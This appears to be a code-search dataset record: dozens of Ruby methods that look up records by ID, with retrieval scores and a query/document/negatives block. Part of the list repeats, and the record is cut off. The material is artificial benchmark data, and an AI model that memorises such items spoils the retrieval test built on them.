"def find(id)\n find_by_id(id).tap { |result|\n if result.nil?\n raise RecordNotFound, \"#{self.class.name}#find with ID #{id.inspect} was not found\"\n end\n }\n end",
"def get_search_by_id_result\n if is_do_search_by_id?\n klass = record_select_config.model\n res = klass.find_by_id(@searchparams)\n return res\n end\n return nil\n end",
"def find(id, ignore: [])\n hit = es_get(id, ignore: ignore)\n if hit['found']\n result = instantiate_result(hit)\n return result\n end\n false\n end",
"def find_by_id(id)\n resp = get(\"/#{exposed_as}/#{id}\")\n case resp.response.code.to_i\n when 200\n result = MultiJson.load resp.parsed_response\n new(result)\n when 404\n nil\n else\n raise \"#{self.class.name}#try_find with ID #{id.inspect} returned unexpected response: #{resp.inspect}\"\n end\n end",
"def find id, preserve_html=false\n check_for_falsy_id id\n Entity.new id, preserve_html\n end",
"def search_by_id(id)\n @data.each do |item|\n return item if item.id == id\n end\n\n nil\n end",
"def find_by_id(id)\n find_by_attributes(:id => id).first\n end",
"def find(id)\n\nend",
"def find(id)\n @adapter.find(collection, id).tap do |record|\n raise Lotus::Model::EntityNotFound.new unless record\n end\n end",
"def find(id)\n # Your code Here\n @candidates.each do |el|\n # logic to check if id match else null\n if el[:id] == id\n puts 'found match'\n return el\n end\n end\n return nil\nend",
"def find(id)\n # Your code Here\n @candidates.each do |candidate|\n \tif candidate[:id] == id\n \t return candidate\n \tend\n end\n return nil\nend",
"def find(id)\n map_id = proc { |object| object.respond_to?(:id) ? object.send(:id) : object }\n\n result = find_by_id_or_ids(map_id, id)\n\n fail RecordNotFound.new(\n \"Couldn't find #{name} with '#{id_property_name}'=#{id.inspect}\",\n name, id_property_name, id) if result.blank?\n result.tap { |r| find_callbacks!(r) }\n end",
"def find_by_id(id)\n id = id.to_i\n\n @id_hash[id]\n end",
"def find_by_name(id)\n end",
"def find(id)\r\n find_one do |record|\r\n record.id == id\r\n end\r\n end",
"def find_by_friendly_id(id)\n first_by_friendly_id(id) or raise_not_found_exception(id)\n end",
"def find(x)\n if @candidates.any? {|h| h[:id] == x}\n return @candidates.find {|h| h[:id] == x}\n else\n return \"ID does not exist\".red\n end\nend",
"def find(id)\n @candidates.each do |candidate|\n if id == candidate[:id] \n return candidate\n end\nend\n\n nil\nend",
"def find(id)\n @candidates.each do |item|\n if item[:id]==id\n @result = item\n end\n end\n @result\nend",
"def find(id)\n # takes single candidate as id :\n @candidates.each do | candidate |\n if candidate[:id] == id \n\n return candidate\n else \n nil\n end\n end\nend",
"def find(id)\n self.detect{|x| x.id == id.to_i}\n end",
"def find(id)\n item = raw_find(id)\n item && item.dup\n end",
"def find(id)\n puts id\n @candidates.each do |candidate|\n if candidate[:id] == id \n return candidate\n end\n end\n puts \"No candidate found with that ID\"\n return nil\nend",
"def find_by_id(id)\n iterations.find { |iteration| iteration.id == id } || false\n end",
"def find(id)\n # Used where so no exception will be raised if the instance\n # does not exist.\n @model.unscoped.where(@model_data['mappings']['id'].to_sym => id).first\n end",
"def find_by_path_or_id!(path, id)\n page = find_by_path_or_id(path, id)\n\n raise ::ActiveRecord::RecordNotFound unless page\n\n page\n end",
"def find(value)\n key = \\\n if value.to_s =~ /^[0-9\\.]*$/\n default_search_param + \"id\"\n else\n default_search_param\n end\n\n where(key => value).first\n end",
"def find id\n model.find id\n end",
"def find_item_by_id(id)\n\n @items.each do |item|\n return item if item.item_id == id\n end\n return nil\n end",
"def find_by_id(id)\n filtered_set(entities, key: 'id', value: id)\n end",
"def test_missing_search_value\n key = '_id'\n val = '8098765432'\n results = User.new(key, val).search\n assert_equal results, [], 'It must return an empty array if no search result is found'\n end",
"def find_by_id_or_username!\n if input_is_id?\n find_by_id!\n else\n find_by_username!\n end\n end",
"def find(id)\n where({'id' => \"#{id}\"}).first\n end",
"def find id\n @objs_list[id] if @objs_list\n end",
"def find\n fail NotImplementedError\n end",
"def find(id)\n # Your code Here\n @candidates.each do |candidate|\n if id == candidate[:id]\n return candidate\n end\n end\n\n nil\nend",
"def find_document!(model, id)\n document = model.find_by_id(id)\n unless document\n error 404, convert(body_for(:not_found))\n end\n document\n end",
"def find(id)\n find_by_index(id: id)\n end",
"def find(id)\n klass.find(id)\n end",
"def find_locally(id)\n if @all.present?\n @all.find { |model| model.id == id }\n end\n end",
"def find(id)\n binding.pry\n candidate.each do |candidate|\n if @candidate[:id] == id\n return candidate\n else\n nil\n end \n end \nend",
"def find(id)\n @candidates.each do |candidate|\n return candidate if candidate[:id] == id\n end\n return nil\nend",
"def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end",
"def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end",
"def find(id)\n found = nil\n @candidates.each do |candidate|\n if candidate[:id] == id\n found = candidate\n end\n end\n found\nend",
"def find_one\n return super if params[klass.primary_key].present?\n @find_one ||= klass.new_collection_from_result(limit(1).fetch).first\n rescue ::Spyke::ConnectionError => error\n fallback_or_reraise(error, default: nil)\n end",
"def find_by_id_or_username\n if input_is_id?\n find_by_id\n else\n find_by_username\n end\n end",
"def find(id)\n # Your code Here\n # puts \"you are looking for id: #{id}\"\n @candidates.each do |candidate|\n if candidate[:id] == id\n return candidate\n end\n end\n return nil\nend",
"def find(id)\n @candidates.each do |candidate|\n if candidate[:id] == id\n return candidate\n else\n return nil\n end\n end\nend",
"def find(id)\n found = nil\n found = @candidates.find { |candidate| candidate.fetch(:id) == id }\n # found = @candidates.select { |candidate| candidate.fetch(:id) == id }\n # found && found = found[0]\nend",
"def find(id)\n @candidates.each do |candidate|\n return candidate if id == candidate[:id]\n end\n nil\nend",
"def find(id)\n all.find { |obj| obj.id == id }\n end",
"def find(id)\n @candidates.each do |candidate|\n return candidate if candidate[:id]==id\n end\n nil\nend",
"def found?\n return false if no_search\n\n id.present? || records.present?\n end",
"def find(id)\n # Your code Here\n @candidates.each do |candidate|\n if candidate[:id] == id\n return candidate\n end\n end\n nil\nend",
"def find(id)\n @candidates.find {|h| h[:id] == id}\nend",
"def find (candidate_id)\n @candidates.detect{|candidate| candidate_id == candidate[:id]}\n puts \"No match foud\" if nil \n end",
"def find_one(id)\n if id.is_a?(Integer) && id > 0\n row = connection.get_first_row <<-SQL\n SELECT #{columns.join \",\"} FROM #{table}\n WHERE id = #{id};\n SQL\n\n # converts a row into an object\n init_object_from_row(row)\n else\n puts \"Id must be a number greater than 0, Try again\"\n end\n end",
"def find_from!(collection, identifier, find_by = :id)\n if identifier.present?\n collection.detect { |instance| instance.send(find_by) == identifier.to_i } || (raise ActiveRecord::RecordNotFound)\n else\n raise ActiveRecord::RecordNotFound\n end\n end",
"def find(id)\n @candidates.each do | candidate |\n if candidate[:id] == id\n return candidate \n end\n end\nend",
"def find_id(id)\n @candidates.find {|candidate| candidate if candidate[:id] == id}\nend",
"def find(id, params = {})\n from_base id, params\n end",
"def find(id)\n @candidates.each do |candidate|\n if id == candidate[:id]\n candidate\n end\n end\n nil\nend",
"def find(id)\n @candidates.each do |person|\n if person[:id] === id\n return person\n end\n end\n return nil\nend",
"def find_by_id(id, timeout=nil)\r\n return source_find_by_id(page, id, timeout)\r\n end",
"def find(id)\n # binding.pry\n raise '@candidates must be an Array' if @candidates.nil?\n candidate.each do |candidate|\n if candidate[:id] == id\n return candidate\n else\n nil\n end \n end \nend",
"def find_one(id)\n response = request(:get, \"/#{resource_name}/#{id}\")\n #puts response\n construct_record_from_singular(response)\n end",
"def find_item(purchase_or_id)\n raise NotImplementedError\n end",
"def find id\n return nil if node.ids.empty?\n node.send(:orm_class).find id\n end",
"def locate(id)\n return self if are_you(id)\n\n # Try Inventory\n i = @inv.fetch(id)\n return i if !i.nil?\n\n return nil\n end",
"def find_params_id(model)\n model.find(params[:id])\n rescue Exception => e\n redirect_with_flash(e.message) and return nil\n end",
"def find_record(xero_id)\n raise_must_override\n end",
"def find_by_id(id)\n models.each do |model|\n el = model.find_by_id(id)\n return el if el\n end\n nil\n end",
"def find(id)\n\nreturn candidates.detect{|candidate| candidate[:id]==id }\n\nend",
"def find_by_id(id)\n users.find { |user| user.id == id } || false\n end",
"def fetch_one(id, extra_controller_params)\n puts \"fetch one search helper\"\n old_solr_doc_params = Deprecation.silence(Blacklight::SearchHelper) do\n solr_doc_params(id)\n end\n\n if default_solr_doc_params(id) != old_solr_doc_params\n Deprecation.warn Blacklight::SearchHelper, \"The #solr_doc_params method is deprecated. Instead, you should provide a custom SolrRepository implementation for the additional behavior you're offering. The current behavior will be removed in Blacklight 6.0\"\n extra_controller_params = extra_controller_params.merge(old_solr_doc_params)\n end\n \n #Override id\n if params[\"DocId\"]\n id = params[\"DocId\"]\n #Rails.logger.debug(\"Found DocID #{params['DocId'].inspect} and id is #{id.inspect}\")\n else \n id ||= params[:id]\n #Rails.logger.debug(\"Using other id\")\n end\n \n\n solr_response = repository.find id, extra_controller_params\n [solr_response, solr_response.documents.first]\n end",
"def find(id)\n @data[id]\n end",
"def find(id)\n sid = id.to_s\n return nil if sid == ''\n return _record_cache[sid] if _record_cache.has_key?(sid) && _class_fetch_states[\"record_#{id}\"] == 'f'\n observer = React::State.current_observer\n record_in_progress = if _record_cache.has_key?(sid)\n _record_cache[sid]\n else\n self.new(id: id)\n end\n record_in_progress_key = \"#{self.to_s}_#{record_in_progress.object_id}\"\n React::State.get_state(observer, record_in_progress_key) if observer\n return _record_cache[sid] if _record_cache.has_key?(sid) && _class_fetch_states[\"record_#{id}\"] == 'i'\n _promise_find(id, record_in_progress).then do\n React::State.set_state(observer, record_in_progress_key, `Date.now() + Math.random()`) if observer\n end\n record_in_progress\n end",
"def find_single(id, *args)\n data = get(id.to_s, *args)\n return nil unless data && !data.empty?\n instantiate(id, data)\n end",
"def find_by()\n\n end",
"def find\n assert_not_nil @rdigg.stories.find(\"7987660\")\n end"
] |
[
"0.744874",
"0.73801535",
"0.7300191",
"0.7300191",
"0.72902",
"0.7228066",
"0.72147083",
"0.70133287",
"0.6988539",
"0.6986306",
"0.6979294",
"0.69600546",
"0.69545156",
"0.6939753",
"0.69295317",
"0.6855026",
"0.6812868",
"0.67736167",
"0.66998",
"0.66641015",
"0.6662875",
"0.665273",
"0.66107637",
"0.6600798",
"0.6545837",
"0.6541256",
"0.65129983",
"0.6500252",
"0.648231",
"0.64387316",
"0.64218223",
"0.6413767",
"0.6388971",
"0.63812214",
"0.6372796",
"0.6370852",
"0.6369293",
"0.63582325",
"0.6353035",
"0.6336589",
"0.63260174",
"0.6311499",
"0.6303377",
"0.62894106",
"0.62866914",
"0.6275431",
"0.6265228",
"0.6265209",
"0.6264799",
"0.6264797",
"0.62540907",
"0.6252649",
"0.62490404",
"0.6246557",
"0.6237693",
"0.62313133",
"0.62247026",
"0.62221956",
"0.6213006",
"0.6211256",
"0.62112385",
"0.619443",
"0.6193815",
"0.6193815",
"0.6187505",
"0.6185243",
"0.61806834",
"0.6177492",
"0.6177294",
"0.6165364",
"0.6157957",
"0.61577624",
"0.61573607",
"0.6151487",
"0.61478835",
"0.61407423",
"0.6134402",
"0.6133717",
"0.61258316",
"0.61077523",
"0.6098133",
"0.6095551",
"0.6091503",
"0.60858244",
"0.60824054",
"0.6081796",
"0.60788506",
"0.60776114",
"0.6076319",
"0.6072651",
"0.6071399",
"0.60705036",
"0.6067406",
"0.6066783",
"0.60651743",
"0.6055307",
"0.6038555",
"0.6038354",
"0.6036749",
"0.6033213",
"0.603162"
] |
0.0
|
-1
|
Note: We use find_by_id to avoid exeception being raised in case of empty search result
|
def current_merchant_user
@current_merchant_user ||= session[:current_user_id] &&
MerchantUser.find_by_id(session[:current_user_id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find_by_id(id)\n results = one.find_by_id_ne(id)\n results && !results['id'].blank? && new(results) || nil\n end",
"def find(id)\n find_result\n end",
"def find(id); end",
"def find(id); end",
"def find_by_id(id)\n results = many.find_with_attributes_ne(id)\n results.blank? && nil || with_details(results)\n end",
"def find(id)\n raise NotImplementedError\n end",
"def find_by_id(id)\n raise NotImplementedError.new\n end",
"def prepare_find\n raise Error.new('Cannot find an event without an ID') if id.blank?\n self\n end",
"def find(id)\n first(\"Id = '#{id}'\")\n end",
"def find_by_id(id)\n results = one.find_by_id_ne(id)\n results && new(results) || nil\n end",
"def find_by_id!(id)\n new(one.find_by_id(id) || raise(RecordNotFound, \"A #{name} record for #{id} does not exist.\"))\n end",
"def find!(id)\n find(id) || raise(RecordNotFound, id)\n end",
"def find(id)\n finder_or_run(:find, id)\n end",
"def find(id)\n end",
"def find_by_id!(id)\n found = entities.detect { |elm| elm.id == id }\n raise Occi::Core::Errors::CollectionLookupError, \"Entity #{id.inspect} not found in the collection\" unless found\n found\n end",
"def find_by_id(id)\n find(id)\n end",
"def find_by_id(id)\n find_by(:id, id)\n end",
"def find_by_id(id)\n find_by_id!(id)\n rescue TopdeskAPI::Error::RecordNotFound\n nil\n end",
"def find(id)\n fetch([name, id]) do\n super\n end\n end",
"def find(id, optional = {})\n find_all([id], optional).first\n end",
"def find(id)\n find_by_id(id).tap { |result|\n if result.nil?\n raise RecordNotFound, \"#{self.class.name}#find with ID #{id.inspect} was not found\"\n end\n }\n end",
"def get_search_by_id_result\n if is_do_search_by_id?\n klass = record_select_config.model\n res = klass.find_by_id(@searchparams)\n return res\n end\n return nil\n end",
"def find(id, ignore: [])\n hit = es_get(id, ignore: ignore)\n if hit['found']\n result = instantiate_result(hit)\n return result\n end\n false\n end",
"def find_by_id(id)\n resp = get(\"/#{exposed_as}/#{id}\")\n case resp.response.code.to_i\n when 200\n result = MultiJson.load resp.parsed_response\n new(result)\n when 404\n nil\n else\n raise \"#{self.class.name}#try_find with ID #{id.inspect} returned unexpected response: #{resp.inspect}\"\n end\n end",
"def find id, preserve_html=false\n check_for_falsy_id id\n Entity.new id, preserve_html\n end",
"def search_by_id(id)\n @data.each do |item|\n return item if item.id == id\n end\n\n nil\n end",
"def find_by_id(id)\n find_by_attributes(:id => id).first\n end",
"def find(id)\n\nend",
"def find(id)\n @adapter.find(collection, id).tap do |record|\n raise Lotus::Model::EntityNotFound.new unless record\n end\n end",
"def find(id)\n # Your code Here\n @candidates.each do |el|\n # logic to check if id match else null\n if el[:id] == id\n puts 'found match'\n return el\n end\n end\n return nil\nend",
"def find(id)\n # Your code Here\n @candidates.each do |candidate|\n \tif candidate[:id] == id\n \t return candidate\n \tend\n end\n return nil\nend",
"def find(id)\n map_id = proc { |object| object.respond_to?(:id) ? object.send(:id) : object }\n\n result = find_by_id_or_ids(map_id, id)\n\n fail RecordNotFound.new(\n \"Couldn't find #{name} with '#{id_property_name}'=#{id.inspect}\",\n name, id_property_name, id) if result.blank?\n result.tap { |r| find_callbacks!(r) }\n end",
"def find_by_id(id)\n id = id.to_i\n\n @id_hash[id]\n end",
"def find_by_name(id)\n end",
"def find(id)\r\n find_one do |record|\r\n record.id == id\r\n end\r\n end",
"def find_by_friendly_id(id)\n first_by_friendly_id(id) or raise_not_found_exception(id)\n end",
"def find(x)\n if @candidates.any? {|h| h[:id] == x}\n return @candidates.find {|h| h[:id] == x}\n else\n return \"ID does not exist\".red\n end\nend",
"def find(id)\n @candidates.each do |candidate|\n if id == candidate[:id] \n return candidate\n end\nend\n\n nil\nend",
"def find(id)\n @candidates.each do |item|\n if item[:id]==id\n @result = item\n end\n end\n @result\nend",
"def find(id)\n # takes single candidate as id :\n @candidates.each do | candidate |\n if candidate[:id] == id \n\n return candidate\n else \n nil\n end\n end\nend",
"def find(id)\n self.detect{|x| x.id == id.to_i}\n end",
"def find(id)\n item = raw_find(id)\n item && item.dup\n end",
"def find(id)\n puts id\n @candidates.each do |candidate|\n if candidate[:id] == id \n return candidate\n end\n end\n puts \"No candidate found with that ID\"\n return nil\nend",
"def find_by_id(id)\n iterations.find { |iteration| iteration.id == id } || false\n end",
"def find(id)\n # Used where so no exception will be raised if the instance\n # does not exist.\n @model.unscoped.where(@model_data['mappings']['id'].to_sym => id).first\n end",
"def find_by_path_or_id!(path, id)\n page = find_by_path_or_id(path, id)\n\n raise ::ActiveRecord::RecordNotFound unless page\n\n page\n end",
"def find(value)\n key = \\\n if value.to_s =~ /^[0-9\\.]*$/\n default_search_param + \"id\"\n else\n default_search_param\n end\n\n where(key => value).first\n end",
"def find id\n model.find id\n end",
"def find_item_by_id(id)\n\n @items.each do |item|\n return item if item.item_id == id\n end\n return nil\n end",
"def find_by_id(id)\n filtered_set(entities, key: 'id', value: id)\n end",
"def test_missing_search_value\n key = '_id'\n val = '8098765432'\n results = User.new(key, val).search\n assert_equal results, [], 'It must return an empty array if no search result is found'\n end",
"def find_by_id_or_username!\n if input_is_id?\n find_by_id!\n else\n find_by_username!\n end\n end",
"def find(id)\n where({'id' => \"#{id}\"}).first\n end",
"def find id\n @objs_list[id] if @objs_list\n end",
"def find\n fail NotImplementedError\n end",
"def find(id)\n # Your code Here\n @candidates.each do |candidate|\n if id == candidate[:id]\n return candidate\n end\n end\n\n nil\nend",
"def find_document!(model, id)\n document = model.find_by_id(id)\n unless document\n error 404, convert(body_for(:not_found))\n end\n document\n end",
"def find(id)\n find_by_index(id: id)\n end",
"def find(id)\n klass.find(id)\n end",
"def find_locally(id)\n if @all.present?\n @all.find { |model| model.id == id }\n end\n end",
"def find(id)\n binding.pry\n candidate.each do |candidate|\n if @candidate[:id] == id\n return candidate\n else\n nil\n end \n end \nend",
"def find(id)\n @candidates.each do |candidate|\n return candidate if candidate[:id] == id\n end\n return nil\nend",
"def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end",
"def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end",
"def find(id)\n found = nil\n @candidates.each do |candidate|\n if candidate[:id] == id\n found = candidate\n end\n end\n found\nend",
"def find_one\n return super if params[klass.primary_key].present?\n @find_one ||= klass.new_collection_from_result(limit(1).fetch).first\n rescue ::Spyke::ConnectionError => error\n fallback_or_reraise(error, default: nil)\n end",
"def find_by_id_or_username\n if input_is_id?\n find_by_id\n else\n find_by_username\n end\n end",
"def find(id)\n # Your code Here\n # puts \"you are looking for id: #{id}\"\n @candidates.each do |candidate|\n if candidate[:id] == id\n return candidate\n end\n end\n return nil\nend",
"def find(id)\n @candidates.each do |candidate|\n if candidate[:id] == id\n return candidate\n else\n return nil\n end\n end\nend",
"def find(id)\n found = nil\n found = @candidates.find { |candidate| candidate.fetch(:id) == id }\n # found = @candidates.select { |candidate| candidate.fetch(:id) == id }\n # found && found = found[0]\nend",
"def find(id)\n @candidates.each do |candidate|\n return candidate if id == candidate[:id]\n end\n nil\nend",
"def find(id)\n all.find { |obj| obj.id == id }\n end",
"def find(id)\n @candidates.each do |candidate|\n return candidate if candidate[:id]==id\n end\n nil\nend",
"def found?\n return false if no_search\n\n id.present? || records.present?\n end",
"def find(id)\n # Your code Here\n @candidates.each do |candidate|\n if candidate[:id] == id\n return candidate\n end\n end\n nil\nend",
"def find(id)\n @candidates.find {|h| h[:id] == id}\nend",
"def find (candidate_id)\n @candidates.detect{|candidate| candidate_id == candidate[:id]}\n puts \"No match foud\" if nil \n end",
"def find_one(id)\n if id.is_a?(Integer) && id > 0\n row = connection.get_first_row <<-SQL\n SELECT #{columns.join \",\"} FROM #{table}\n WHERE id = #{id};\n SQL\n\n # converts a row into an object\n init_object_from_row(row)\n else\n puts \"Id must be a number greater than 0, Try again\"\n end\n end",
"def find_from!(collection, identifier, find_by = :id)\n if identifier.present?\n collection.detect { |instance| instance.send(find_by) == identifier.to_i } || (raise ActiveRecord::RecordNotFound)\n else\n raise ActiveRecord::RecordNotFound\n end\n end",
"def find(id)\n @candidates.each do | candidate |\n if candidate[:id] == id\n return candidate \n end\n end\nend",
"def find_id(id)\n @candidates.find {|candidate| candidate if candidate[:id] == id}\nend",
"def find(id, params = {})\n from_base id, params\n end",
"def find(id)\n @candidates.each do |candidate|\n if id == candidate[:id]\n candidate\n end\n end\n nil\nend",
"def find(id)\n @candidates.each do |person|\n if person[:id] === id\n return person\n end\n end\n return nil\nend",
"def find_by_id(id, timeout=nil)\r\n return source_find_by_id(page, id, timeout)\r\n end",
"def find(id)\n # binding.pry\n raise '@candidates must be an Array' if @candidates.nil?\n candidate.each do |candidate|\n if candidate[:id] == id\n return candidate\n else\n nil\n end \n end \nend",
"def find_one(id)\n response = request(:get, \"/#{resource_name}/#{id}\")\n #puts response\n construct_record_from_singular(response)\n end",
"def find_item(purchase_or_id)\n raise NotImplementedError\n end",
"def find id\n return nil if node.ids.empty?\n node.send(:orm_class).find id\n end",
"def locate(id)\n return self if are_you(id)\n\n # Try Inventory\n i = @inv.fetch(id)\n return i if !i.nil?\n\n return nil\n end",
"def find_params_id(model)\n model.find(params[:id])\n rescue Exception => e\n redirect_with_flash(e.message) and return nil\n end",
"def find_record(xero_id)\n raise_must_override\n end",
"def find_by_id(id)\n models.each do |model|\n el = model.find_by_id(id)\n return el if el\n end\n nil\n end",
"def find(id)\n\nreturn candidates.detect{|candidate| candidate[:id]==id }\n\nend",
"def find_by_id(id)\n users.find { |user| user.id == id } || false\n end",
"def fetch_one(id, extra_controller_params)\n puts \"fetch one search helper\"\n old_solr_doc_params = Deprecation.silence(Blacklight::SearchHelper) do\n solr_doc_params(id)\n end\n\n if default_solr_doc_params(id) != old_solr_doc_params\n Deprecation.warn Blacklight::SearchHelper, \"The #solr_doc_params method is deprecated. Instead, you should provide a custom SolrRepository implementation for the additional behavior you're offering. The current behavior will be removed in Blacklight 6.0\"\n extra_controller_params = extra_controller_params.merge(old_solr_doc_params)\n end\n \n #Override id\n if params[\"DocId\"]\n id = params[\"DocId\"]\n #Rails.logger.debug(\"Found DocID #{params['DocId'].inspect} and id is #{id.inspect}\")\n else \n id ||= params[:id]\n #Rails.logger.debug(\"Using other id\")\n end\n \n\n solr_response = repository.find id, extra_controller_params\n [solr_response, solr_response.documents.first]\n end",
"def find(id)\n @data[id]\n end",
"def find(id)\n sid = id.to_s\n return nil if sid == ''\n return _record_cache[sid] if _record_cache.has_key?(sid) && _class_fetch_states[\"record_#{id}\"] == 'f'\n observer = React::State.current_observer\n record_in_progress = if _record_cache.has_key?(sid)\n _record_cache[sid]\n else\n self.new(id: id)\n end\n record_in_progress_key = \"#{self.to_s}_#{record_in_progress.object_id}\"\n React::State.get_state(observer, record_in_progress_key) if observer\n return _record_cache[sid] if _record_cache.has_key?(sid) && _class_fetch_states[\"record_#{id}\"] == 'i'\n _promise_find(id, record_in_progress).then do\n React::State.set_state(observer, record_in_progress_key, `Date.now() + Math.random()`) if observer\n end\n record_in_progress\n end",
"def find_single(id, *args)\n data = get(id.to_s, *args)\n return nil unless data && !data.empty?\n instantiate(id, data)\n end",
"def find_by()\n\n end",
"def find\n assert_not_nil @rdigg.stories.find(\"7987660\")\n end"
] |
[
"0.744874",
"0.73801535",
"0.7300191",
"0.7300191",
"0.72902",
"0.7228066",
"0.72147083",
"0.70133287",
"0.6988539",
"0.6986306",
"0.6979294",
"0.69600546",
"0.69545156",
"0.6939753",
"0.69295317",
"0.6855026",
"0.6812868",
"0.67736167",
"0.66998",
"0.66641015",
"0.6662875",
"0.665273",
"0.66107637",
"0.6600798",
"0.6545837",
"0.6541256",
"0.65129983",
"0.6500252",
"0.648231",
"0.64387316",
"0.64218223",
"0.6413767",
"0.6388971",
"0.63812214",
"0.6372796",
"0.6370852",
"0.6369293",
"0.63582325",
"0.6353035",
"0.6336589",
"0.63260174",
"0.6311499",
"0.6303377",
"0.62894106",
"0.62866914",
"0.6275431",
"0.6265228",
"0.6265209",
"0.6264799",
"0.6264797",
"0.62540907",
"0.6252649",
"0.62490404",
"0.6246557",
"0.6237693",
"0.62313133",
"0.62247026",
"0.62221956",
"0.6213006",
"0.6211256",
"0.62112385",
"0.619443",
"0.6193815",
"0.6193815",
"0.6187505",
"0.6185243",
"0.61806834",
"0.6177492",
"0.6177294",
"0.6165364",
"0.6157957",
"0.61577624",
"0.61573607",
"0.6151487",
"0.61478835",
"0.61407423",
"0.6134402",
"0.6133717",
"0.61258316",
"0.61077523",
"0.6098133",
"0.6095551",
"0.6091503",
"0.60858244",
"0.60824054",
"0.6081796",
"0.60788506",
"0.60776114",
"0.6076319",
"0.6072651",
"0.6071399",
"0.60705036",
"0.6067406",
"0.6066783",
"0.60651743",
"0.6055307",
"0.6038555",
"0.6038354",
"0.6036749",
"0.6033213",
"0.603162"
] |
0.0
|
-1
|
Note: We use find_by_id to avoid exeception being raised in case of empty search result
|
def current_member_user
@current_member_user ||= session[:current_user_id] &&
Member.find_by_id(session[:current_user_id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find_by_id(id)\n results = one.find_by_id_ne(id)\n results && !results['id'].blank? && new(results) || nil\n end",
"def find(id)\n find_result\n end",
"def find(id); end",
"def find(id); end",
"def find_by_id(id)\n results = many.find_with_attributes_ne(id)\n results.blank? && nil || with_details(results)\n end",
"def find(id)\n raise NotImplementedError\n end",
"def find_by_id(id)\n raise NotImplementedError.new\n end",
"def prepare_find\n raise Error.new('Cannot find an event without an ID') if id.blank?\n self\n end",
"def find(id)\n first(\"Id = '#{id}'\")\n end",
"def find_by_id(id)\n results = one.find_by_id_ne(id)\n results && new(results) || nil\n end",
"def find_by_id!(id)\n new(one.find_by_id(id) || raise(RecordNotFound, \"A #{name} record for #{id} does not exist.\"))\n end",
"def find!(id)\n find(id) || raise(RecordNotFound, id)\n end",
"def find(id)\n finder_or_run(:find, id)\n end",
"def find(id)\n end",
"def find_by_id!(id)\n found = entities.detect { |elm| elm.id == id }\n raise Occi::Core::Errors::CollectionLookupError, \"Entity #{id.inspect} not found in the collection\" unless found\n found\n end",
"def find_by_id(id)\n find(id)\n end",
"def find_by_id(id)\n find_by(:id, id)\n end",
"def find_by_id(id)\n find_by_id!(id)\n rescue TopdeskAPI::Error::RecordNotFound\n nil\n end",
"def find(id)\n fetch([name, id]) do\n super\n end\n end",
"def find(id, optional = {})\n find_all([id], optional).first\n end",
"def find(id)\n find_by_id(id).tap { |result|\n if result.nil?\n raise RecordNotFound, \"#{self.class.name}#find with ID #{id.inspect} was not found\"\n end\n }\n end",
"def get_search_by_id_result\n if is_do_search_by_id?\n klass = record_select_config.model\n res = klass.find_by_id(@searchparams)\n return res\n end\n return nil\n end",
"def find(id, ignore: [])\n hit = es_get(id, ignore: ignore)\n if hit['found']\n result = instantiate_result(hit)\n return result\n end\n false\n end",
"def find_by_id(id)\n resp = get(\"/#{exposed_as}/#{id}\")\n case resp.response.code.to_i\n when 200\n result = MultiJson.load resp.parsed_response\n new(result)\n when 404\n nil\n else\n raise \"#{self.class.name}#try_find with ID #{id.inspect} returned unexpected response: #{resp.inspect}\"\n end\n end",
"def find id, preserve_html=false\n check_for_falsy_id id\n Entity.new id, preserve_html\n end",
"def search_by_id(id)\n @data.each do |item|\n return item if item.id == id\n end\n\n nil\n end",
"def find_by_id(id)\n find_by_attributes(:id => id).first\n end",
"def find(id)\n\nend",
"def find(id)\n @adapter.find(collection, id).tap do |record|\n raise Lotus::Model::EntityNotFound.new unless record\n end\n end",
"def find(id)\n # Your code Here\n @candidates.each do |el|\n # logic to check if id match else null\n if el[:id] == id\n puts 'found match'\n return el\n end\n end\n return nil\nend",
"def find(id)\n # Your code Here\n @candidates.each do |candidate|\n \tif candidate[:id] == id\n \t return candidate\n \tend\n end\n return nil\nend",
"def find(id)\n map_id = proc { |object| object.respond_to?(:id) ? object.send(:id) : object }\n\n result = find_by_id_or_ids(map_id, id)\n\n fail RecordNotFound.new(\n \"Couldn't find #{name} with '#{id_property_name}'=#{id.inspect}\",\n name, id_property_name, id) if result.blank?\n result.tap { |r| find_callbacks!(r) }\n end",
"def find_by_id(id)\n id = id.to_i\n\n @id_hash[id]\n end",
"def find_by_name(id)\n end",
"def find(id)\r\n find_one do |record|\r\n record.id == id\r\n end\r\n end",
"def find(x)\n if @candidates.any? {|h| h[:id] == x}\n return @candidates.find {|h| h[:id] == x}\n else\n return \"ID does not exist\".red\n end\nend",
"def find_by_friendly_id(id)\n first_by_friendly_id(id) or raise_not_found_exception(id)\n end",
"def find(id)\n @candidates.each do |candidate|\n if id == candidate[:id] \n return candidate\n end\nend\n\n nil\nend",
"def find(id)\n @candidates.each do |item|\n if item[:id]==id\n @result = item\n end\n end\n @result\nend",
"def find(id)\n # takes single candidate as id :\n @candidates.each do | candidate |\n if candidate[:id] == id \n\n return candidate\n else \n nil\n end\n end\nend",
"def find(id)\n self.detect{|x| x.id == id.to_i}\n end",
"def find(id)\n item = raw_find(id)\n item && item.dup\n end",
"def find(id)\n puts id\n @candidates.each do |candidate|\n if candidate[:id] == id \n return candidate\n end\n end\n puts \"No candidate found with that ID\"\n return nil\nend",
"def find_by_id(id)\n iterations.find { |iteration| iteration.id == id } || false\n end",
"def find(id)\n # Used where so no exception will be raised if the instance\n # does not exist.\n @model.unscoped.where(@model_data['mappings']['id'].to_sym => id).first\n end",
"def find_by_path_or_id!(path, id)\n page = find_by_path_or_id(path, id)\n\n raise ::ActiveRecord::RecordNotFound unless page\n\n page\n end",
"def find_by_id(id)\n filtered_set(entities, key: 'id', value: id)\n end",
"def find_item_by_id(id)\n\n @items.each do |item|\n return item if item.item_id == id\n end\n return nil\n end",
"def find id\n model.find id\n end",
"def find(value)\n key = \\\n if value.to_s =~ /^[0-9\\.]*$/\n default_search_param + \"id\"\n else\n default_search_param\n end\n\n where(key => value).first\n end",
"def test_missing_search_value\n key = '_id'\n val = '8098765432'\n results = User.new(key, val).search\n assert_equal results, [], 'It must return an empty array if no search result is found'\n end",
"def find_by_id_or_username!\n if input_is_id?\n find_by_id!\n else\n find_by_username!\n end\n end",
"def find(id)\n where({'id' => \"#{id}\"}).first\n end",
